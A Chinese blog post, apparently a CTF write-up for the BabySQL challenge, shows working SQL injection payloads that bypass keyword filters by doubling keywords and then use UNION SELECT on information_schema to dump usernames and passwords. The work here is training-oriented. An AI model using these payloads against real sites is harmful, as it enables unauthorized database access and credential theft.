[极客大挑战 2019]BabySQL

首先输入1'页面报错,说明存在SQL注入漏洞:

接着输入1' or 1=1#,显示:

说明or被过滤,就尝试双写绕过,输入1' oorr 1=1#

登录成功,接着判断几个字段,用1' order by 3#尝试 

发现order中的or,by都被过滤,就饶过1' oorrder bbyy 3#

发现有3个字段,用联合查询1,2,3试试,发现union和select都被过滤,就都双写,确认显示的位置:

1'ununionion seselectlect 1,database(),3#

得到数据库名:geek

1' ununionion seselectlect 1,table_name,3 frroom infoorrmation_schema.tables where table_schema='geek'#

where也被过滤了,难受,1' ununionion seselectlect 1,2,table_name frorom infoorrmation_schema.tables whwhereere table_schema='geek'#

得到表名:b4bsql,1'ununionion seselectlect 1,2,column_name frorom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

发现只有一个id表,查看其中内容,1'ununionion seselectlect 1,2,id frorom b4bsql#,

 

发现没有答案,则猜测字段没显示完全,则用groupconcat;

1'ununionion seselectlect 1,2,group_concat(column_name) frorom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

得到三个字段:id/username/password:

1'ununionion seselectlect 1,username,passwoorrd frorom b4bsql#

应该是password又没显示完全

1'ununionion seselectlect 1,username,group_concat(passwoorrd) frorom b4bsql#

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值